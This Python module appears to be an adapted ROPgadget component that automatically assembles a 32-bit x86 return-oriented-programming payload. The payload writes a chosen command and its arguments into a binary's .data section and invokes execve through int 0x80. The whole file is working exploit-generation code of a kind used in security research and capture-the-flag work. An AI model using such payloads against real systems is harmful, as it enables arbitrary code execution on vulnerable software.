#!/usr/bin/env python2
## -*- coding: utf-8 -*-
##
##  Jonathan Salwan - 2014-05-13
## 
##  http://shell-storm.org
##  http://twitter.com/JonathanSalwan
## 

import re
from   capstone import *
import sys
import math
from struct import pack


class ROPMakerX86(object):
    def __init__(self, binary, gadgets, paddingLen, outFile, exec, liboffset=0x0):
        self.__binary   = binary
        self.__gadgets  = gadgets
        self.paddingLen = paddingLen
        self.outFile    = outFile
        self.exec   = exec

        # If it's a library, we have the option to add an offset to the addresses
        self.__liboffset = liboffset

        self.__generate()


    def __lookingForWrite4Where(self, gadgetsAlreadyTested):
        for gadget in self.__gadgets:
            if gadget in gadgetsAlreadyTested:
                continue
            f = gadget["gadget"].split(" ; ")[0]
            # regex -> mov dword ptr [r32], r32
            regex = re.search("mov dword ptr \[(?P<dst>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))\], (?P<src>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))$", f)
            if regex:
                lg = gadget["gadget"].split(" ; ")[1:]
                try:
                    for g in lg:
                        if g.split()[0] != "pop" and g.split()[0] != "ret":
                            raise
                        # we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
                        if g != "ret":
                            if g.split()[0] == "ret" and g.split()[1] != "":
                                raise
                    # print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
                    return [gadget, regex.group("dst"), regex.group("src")]
                except:
                    continue
        return None

    def __lookingForSomeThing(self, something):
        for gadget in self.__gadgets:
            lg = gadget["gadget"].split(" ; ")
            if lg[0] == something:
                try:
                    for g in lg[1:]:
                        if g.split()[0] != "pop" and g.split()[0] != "ret":
                            raise
                        # we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
                        if g != "ret":
                            if g.split()[0] == "ret" and g.split()[1] != "":
                                raise
                    # print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
                    return gadget
                except:
                    continue
        return None

    def __padding(self, gadget, regAlreadSetted):
        p = b""

        lg = gadget["gadget"].split(" ; ")
        for g in lg[1:]:
            if g.split()[0] == "pop":
                reg = g.split()[1]
                try:
                    p = pack("<I", regAlreadSetted[reg])
                except KeyError:
                    p = pack("<I", 0x41414141)

        return p

    def __write4bytes(self, address, data, data_addr, popDst, popSrc, write4where):
        # write address to dst
        p  = pack("<I", popDst['vaddr'])
        p += pack("<I", address)
        p += self.__padding(popDst, {}) 

        # write data to src
        p += pack("<I", popSrc['vaddr'])
        p += data
        p += self.__padding(popSrc, {popDst["gadget"].split()[1]: data_addr}) # Don't overwrite reg dst

        # write src to [dst] (address pointed to by dst)
        p += pack("<I", write4where['vaddr'])
        p += self.__padding(write4where, {})

        return p

    def __write4nulls(self, address, popDst, xorSrc, write4where):
        p  = pack("<I", popDst['vaddr'])
        p += pack("<I", address)
        p += self.__padding(popDst, {})

        p += pack("<I", xorSrc["vaddr"])
        p += self.__padding(xorSrc, {})

        p += pack("<I", write4where["vaddr"])
        p += self.__padding(write4where, {})

        return p

    def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
        #print("== Gadgets ==")
        #print(self.__gadgets)
        #print("=============\n\n\n\n")

        sects = self.__binary.getDataSections()
        dataAddr = None
        for s in sects:
            if s["name"] == ".data":
                dataAddr = s["vaddr"] + self.__liboffset
        if dataAddr == None:
            print("\n# [-] Error - Can't find a writable section")
            return

        print(f"dataAddr = 0x{dataAddr:08x}")
        print(f"int 0x80 = 0x{syscall['vaddr']:08x}")

        # Offset address to make all addresses even.
        # This prevent having a null byte in any addresses we write to. 
        if dataAddr % 2 == 0:
            dataAddr += 1

        dataAddrStr = f"{dataAddr:08x}".replace("00", "01")
        dataAddr = int(dataAddrStr, 16)

        print(f"dataAddr = 0x{dataAddr:08x}")

        # prepend padding
        p = bytes('A' * self.paddingLen, "ascii")

        command = self.exec[0]

        # split command into chunks of 4, prepend with /s as necessary
        command = padding_len(len(command)) * "/" + command
        command_chunks = wrap(command, 4)

        ## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ##
        
        args = self.exec[1:]
        chunked_args = []
        for arg in args:
            arg = arg + padding_len(len(arg)) * "!"
            print(arg)
            chunked_args.append(wrap(arg, 4))
        
        print(chunked_args)

        # & ( "cat" \0 )
        exec_addr = dataAddr

        # setup argv array
        # [ & "--run" \0 , & "--verbose" \0 ]
        # note that the null bytes may be written "earlier", when the string is not len % 4 == 0
        arg_addr  = []
        acc_addr = exec_addr + len(command) + 4
        for i, arg in enumerate(args):
            arg_addr.append(acc_addr)

            acc_addr += len(arg) + padding_len(len(arg)) + 4

        # & ( [ ptr -> "cat" ] ++ arg_addr )
        argv_addr = acc_addr

        env_addr = argv_addr + (len(args) * 4) + 4

        del acc_addr

        ###################
        # WRITE EXEC PATH #
        ###################

        # write the command
        for i, chunk in enumerate(command_chunks):
            address = exec_addr + (i * 4)

            # write 4 char chunk of the command
            p += self.__write4bytes(
                address,
                bytes(chunk, "ascii"),
                dataAddr, popDst, popSrc, write4where
            )


        # write null byte after exec path string
        p += self.__write4nulls(
            exec_addr + len(command),
            popDst, xorSrc, write4where
        )

        ##########################
        # Write Argument Strings #
        ##########################

        for i, arg in enumerate(chunked_args):
            this_arg_addr = arg_addr[i]

            for j, chunk in enumerate(arg):
                address = this_arg_addr + (j * 4)

                # write 4 char chunk of the command
                p += self.__write4bytes(
                    address,
                    bytes(chunk, "ascii"),
                    dataAddr, popDst, popSrc, write4where
                )
            
            p += self.__write4nulls(
                this_arg_addr + len(args[i]),
                popDst, xorSrc, write4where
            )
            

        ####################
        # Write Argv Array #
        ####################

        # write argv[0] = exec_addr
        p += self.__write4bytes(
            argv_addr,
            pack('<I', exec_addr),
            dataAddr, popDst, popSrc, write4where
        )

        for i, address in enumerate(arg_addr):
            p += self.__write4bytes(
                argv_addr + ((i + 1) * 4),
                pack('<I', address),
                dataAddr, popDst, popSrc, write4where
            )

        # write null byte after argv array
        p += self.__write4nulls(
            argv_addr + (len(args) * 4) + 4,
            popDst, xorSrc, write4where
        )

        ##################################
        # Setup execve Args in Registers #
        ##################################

        # ebx = exec_path
        p += pack("<I", popEbx["vaddr"])
        p += pack("<I", exec_addr) # @ .data
        p += self.__padding(popEbx, {})

        # ecx = ptr_to_argv
        p += pack('<I', popEcx["vaddr"])
        p += pack('<I', argv_addr)
        p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx

        # edx = _ (empty for env vars)
        p += pack('<I', popEdx["vaddr"])
        p += pack('<I', env_addr)
        p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx

        # eax = 0
        p += pack('<I', xorEax["vaddr"])
        p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx

        # eax ++-> 11
        for i in range(11):
            p += pack('<I', incEax["vaddr"])
            p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx

        p += pack('<I', syscall["vaddr"])


        with open(self.outFile, "wb") as f:
            f.write(p)

    def __generate(self):

        # To find the smaller gadget
        self.__gadgets.reverse()

        # print("\n# ROP chain generation\n# ===========================================================")

        # print("\n# - Step 1 -- Write-what-where gadgets\n")

        gadgetsAlreadyTested = []
        while True:
            write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
            if not write4where:
                print("# [-] Can't find the 'mov dword ptr [r32], r32' gadget")
                return

            popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
            if not popDst:
                print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
                gadgetsAlreadyTested += [write4where[0]]
                continue

            popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
            if not popSrc:
                print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
                gadgetsAlreadyTested += [write4where[0]]
                continue

            xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
            if not xorSrc:
                print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
                gadgetsAlreadyTested += [write4where[0]]
                continue
            else:
                break

        # print("\n# - Step 2 -- Init syscall number gadgets\n")

        xorEax = self.__lookingForSomeThing("xor eax, eax")
        if not xorEax:
            print("# [-] Can't find the 'xor eax, eax' instruction")
            return

        incEax = self.__lookingForSomeThing("inc eax")
        if not incEax:
            print("# [-] Can't find the 'inc eax' instruction")
            return

        # print("\n# - Step 3 -- Init syscall arguments gadgets\n")

        popEbx = self.__lookingForSomeThing("pop ebx")
        if not popEbx:
            print("# [-] Can't find the 'pop ebx' instruction")
            return

        popEcx = self.__lookingForSomeThing("pop ecx")
        if not popEcx:
            print("# [-] Can't find the 'pop ecx' instruction")
            return

        popEdx = self.__lookingForSomeThing("pop edx")
        if not popEdx:
            print("# [-] Can't find the 'pop edx' instruction")
            return

        # print("\n# - Step 4 -- Syscall gadget\n")

        syscall = self.__lookingForSomeThing("int 0x80")
        if not syscall:
            print("# [-] Can't find the 'syscall' instruction")
            return

        # print("\n# - Step 5 -- Build the ROP chain\n")

        self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)

# def round_n(x, n):
#     return int(math.ceil(x / n) * n)

def padding_len(x):
    return -(x % -4)

def wrap(str, n):
    return [ str[i:i + n] for i in range(0, len(str), n) ]